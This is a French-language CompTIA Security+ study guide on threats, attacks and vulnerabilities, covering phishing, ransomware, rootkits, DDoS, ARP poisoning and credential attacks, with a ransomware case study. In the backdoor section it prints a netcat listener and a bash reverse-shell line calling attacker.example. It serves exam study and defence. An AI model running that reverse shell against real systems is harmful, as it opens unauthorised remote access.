CompTIA SY0-701: Menaces, attaques et vulnérabilités — Guide d'étude

By Laurynas Brazys · 20 July 2026 · #comptia #sy0-701 #certification #exam-prep #study-guide

Fait partie du CompTIA Security+ SY0-701 — Guide d’étude. Entraînez-vous avec des réponses vérifiées dans le centre d’examens CompTIA, ou passez des tests chronométrés sur ExamRoll.io.

Le paysage actuel des menaces se caractérise par des adversaires qui combinent l’exploitation technique et la manipulation humaine, enchaînent des faiblesses de faible gravité pour aboutir à des compromissions à fort impact, et dissimulent leur activité au sein de processus métier légitimes. Comprendre les menaces commence par la compréhension de l’intention, de la capacité et du vecteur, et par le refus d’accepter les symptômes de surface comme explication complète.

Ingénierie sociale et variantes d’hameçonnage

L’ingénierie sociale exploite la confiance, l’urgence, l’autorité ou la curiosité plutôt que des failles logicielles. L’hameçonnage (phishing) traditionnel ratisse large par e-mail, en envoyant des leurres génériques tels que de fausses notifications d’expédition ou des demandes de réinitialisation de mot de passe à des milliers de destinataires. Le spear phishing (hameçonnage ciblé) resserre le champ d’action, en utilisant la reconnaissance effectuée sur LinkedIn, les sites web d’entreprise ou les fuites de données pour élaborer des messages adaptés à un individu ou à un service spécifique. Le whaling (chasse à la baleine) cible les dirigeants — le directeur financier qui reçoit un message conçu pour paraître provenir d’un conseiller juridique externe en est la cible classique — car leur autorité permet des fraudes à plus fort impact.

Des variantes de canal étendent la même manipulation à d’autres médias. Le vishing (hameçonnage par téléphone) utilise des appels téléphoniques, souvent avec une usurpation de l’identité de l’appelant et un prétexte tel que se faire passer pour le support informatique afin d’extraire des codes MFA. Le smishing utilise les SMS, en s’appuyant fréquemment sur des URL raccourcies et des leurres spécifiques aux mobiles (« Votre colis n’a pas pu être livré — reprogrammez ici »). Étant donné que les navigateurs mobiles tronquent les URL et masquent les détails des certificats, le smishing a un taux de réussite disproportionnellement élevé.

La compromission de la messagerie d’entreprise (BEC) mérite une attention particulière, car elle n’implique généralement aucun logiciel malveillant. Un attaquant qui a soit compromis une boîte aux lettres légitime, soit usurpé un domaine d’apparence similaire (accounts@vend0r-corp.com au lieu de accounts@vendor-corp.com) s’insère dans un véritable fil de discussion de facturation et redirige un virement bancaire. Comme le contenu de l’e-mail est contextuellement exact et qu’aucune pièce jointe n’est présente, les solutions anti-malware de passerelle et le sandboxing d’URL offrent peu de protection. L’IC3 du FBI a signalé des pertes dues au BEC dépassant 2,9 milliards de dollars en une seule année, ce qui en fait la catégorie de cybercriminalité la plus coûteuse, et de loin.

Un piège courant consiste à surinterpréter des symptômes d’apparence bénigne. Lorsqu’un utilisateur soumet ses identifiants sur un site d’hameçonnage et reçoit une erreur « page non trouvée », l’incident n’est pas résolu — il s’agit d’une collecte d’identifiants réussie où l’attaquant a redirigé la victime après la capture. L’absence d’une page d’erreur évidente est une caractéristique de l’attaque, et non la preuve de son échec.

Types de logiciels malveillants

Les logiciels malveillants (malware) ne forment pas un bloc monolithique. Le rançongiciel (ransomware) chiffre les données et exige un paiement, et les variantes modernes telles que Ryuk, Conti et LockBit exfiltrent également les données au préalable pour exercer une double extorsion. Un indicateur révélateur est un changement massif d’extension de fichier — des fichiers renommés en .ryk, .locked ou une chaîne de caractères aléatoire — associé à des notes de rançon nommées README.txt ou HOW_TO_DECRYPT.html dans chaque répertoire.

Les rootkits opèrent à un niveau beaucoup plus profond, en interceptant les structures du noyau, les tables d’appels système ou le firmware (bootkits, implants UEFI) pour masquer des processus, des fichiers et des connexions réseau au système d’exploitation lui-même. Étant donné que les outils standards interrogent le noyau que le rootkit contrôle, on ne peut pas se fier à la sortie de tasklist ou ps ; la détection nécessite généralement une imagerie forensique hors ligne ou une comparaison avec une base de référence saine via des outils comme chkrootkit ou une analyse de la mémoire avec Volatility.

Les portes dérobées (backdoors) fournissent un accès non autorisé persistant, souvent installé après la compromission initiale. Elles peuvent prendre la forme d’une tâche planifiée qui communique avec un serveur de commande et de contrôle (C2), d’un identifiant codé en dur inséré dans une application, ou d’un service à l’écoute sur un port obscur. Les reverse shells utilisant des outils comme Netcat ou Meterpreter sont typiques :

# Attacker listener
nc -lvnp 4444

# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1

Le piège ici est d’avoir une vision tunnel lors du triage. Une alerte intitulée « logiciel malveillant détecté » qui est rapidement mise en quarantaine ne signifie pas que l’incident est terminé — le dropper initial a peut-être déjà établi une porte dérobée ou installé un rootkit que l’agent du point de terminaison ne peut pas voir.

Attaques réseau

Les attaques par déni de service distribué (DDoS) visent la disponibilité. Les attaques volumétriques — inondations UDP, inondations ICMP — consomment de la bande passante brute. Les attaques par réflexion/amplification abusent de services tiers qui répondent avec des charges utiles plus importantes que la requête ; une requête DNS de 60 octets avec une adresse source usurpée peut renvoyer une réponse de 3 000 octets, et l’amplification via monlist de NTP ou memcached peut atteindre des ratios supérieurs à 50 000×. Lorsque les services web publics restent « actifs » sur le serveur mais sont inaccessibles depuis Internet, et que les journaux réseau montrent un pic de trafic, la cause est presque toujours une attaque DDoS qui sature les liaisons en amont ou les tables d’état — et non un bug applicatif.

Les attaques on-path (anciennement « homme du milieu » ou man-in-the-middle) placent l’attaquant entre deux parties qui communiquent. Sur un réseau local, l’empoisonnement ARP (ARP poisoning) est le mécanisme habituel : l’attaquant envoie des réponses ARP non sollicitées prétendant posséder l’IP de la passerelle, de sorte que le trafic de la victime est silencieusement routé via l’hôte de l’attaquant. Des outils comme ettercap ou arpspoof automatisent ce processus, après quoi l’attaquant peut supprimer le chiffrement TLS avec sslstrip ou injecter du contenu.

Le typosquatting consiste à enregistrer des domaines qui imitent des domaines légitimes (goggle.com, paypa1.com) pour intercepter les URL mal saisies ou pour servir d’infrastructure convaincante pour l’hameçonnage et le BEC.

Attaques d’identifiants

Plutôt que d’exploiter du code, les attaques d’identifiants exploitent une authentification faible. La force brute consiste à essayer tous les mots de passe possibles sur un seul compte. Elle est bruyante et déclenche les politiques de verrouillage. La pulvérisation de mots de passe (password spraying) inverse le modèle : essayer un ou deux mots de passe très courants (Winter2024!, Password123) sur des milliers de comptes, en restant sous le seuil de verrouillage pour chaque compte individuel. Cette technique est exceptionnellement efficace contre les organisations qui n’utilisent pas la MFA sur leurs fournisseurs d’identité cloud.

Le bourrage d’identifiants (credential stuffing) rejoue des paires nom d’utilisateur/mot de passe récoltées lors de fuites de données antérieures, exploitant la réutilisation des mots de passe entre différents services. Comme les identifiants sont valides sur au moins un service, ils contournent les contrôles d’authentification de base. La violation de données d’Okta en 2022 a commencé par un bourrage d’identifiants contre le compte d’un sous-traitant du support, démontrant que même les fournisseurs d’identité ne sont pas à l’abri lorsque la MFA n’est pas appliquée sur chaque chemin d’accès à privilèges.

Les attaques Pass-the-hash et pass-the-ticket volent le matériel d’authentification depuis la mémoire plutôt que de casser les mots de passe. Sur les systèmes Windows, les hachages NTLM stockés dans la mémoire LSASS peuvent être extraits avec Mimikatz et rejoués pour s’authentifier sur d’autres systèmes sans connaître le mot de passe en clair. De même, les tickets d’octroi de tickets (TGT) Kerberos peuvent être volés et réutilisés. Les mesures d’atténuation incluent Credential Guard (qui isole LSASS dans une enclave de sécurité basée sur la virtualisation), l’appartenance au groupe de sécurité Protected Users et la désactivation de NTLM là où Kerberos est disponible.

Scénario pratique : Ransomware via pulvérisation de mots de passe

Une entreprise de logistique de 2 400 employés n’avait pas imposé la MFA sur son tenant Microsoft 365. Un attaquant a mené une attaque par pulvérisation de mots de passe sur trois jours, testant le mot de passe Summer2023! contre toutes les adresses e-mail connues récoltées sur LinkedIn. Quarante et un comptes correspondaient. L’attaquant a utilisé un compte compromis — celui d’un directeur régional — pour accéder au VPN de l’entreprise, qui acceptait les identifiants M365. Depuis le VPN, l’attaquant a passé deux semaines à effectuer une reconnaissance interne, identifiant les serveurs de sauvegarde et les contrôleurs de domaine. Un vendredi soir, le ransomware LockBit a été déclenché sur 340 serveurs. La restauration a pris 19 jours et a coûté environ 4,1 millions de dollars, incluant la rançon, l’investigation numérique et la perte de revenus. Toute la chaîne d’attaque a été rendue possible par un seul contrôle manquant : la MFA sur le tenant M365. La pulvérisation de mots de passe est détectable : une règle SIEM corrélant les échecs d’authentification sur de nombreux comptes depuis une seule adresse IP l’aurait signalée dès le premier jour.

← Gestion des identités et des accès · Tous les domaines · Sécurité et architecture réseau →

Entraînez-vous sur ces questions → · Tests chronométrés sur ExamRoll.io →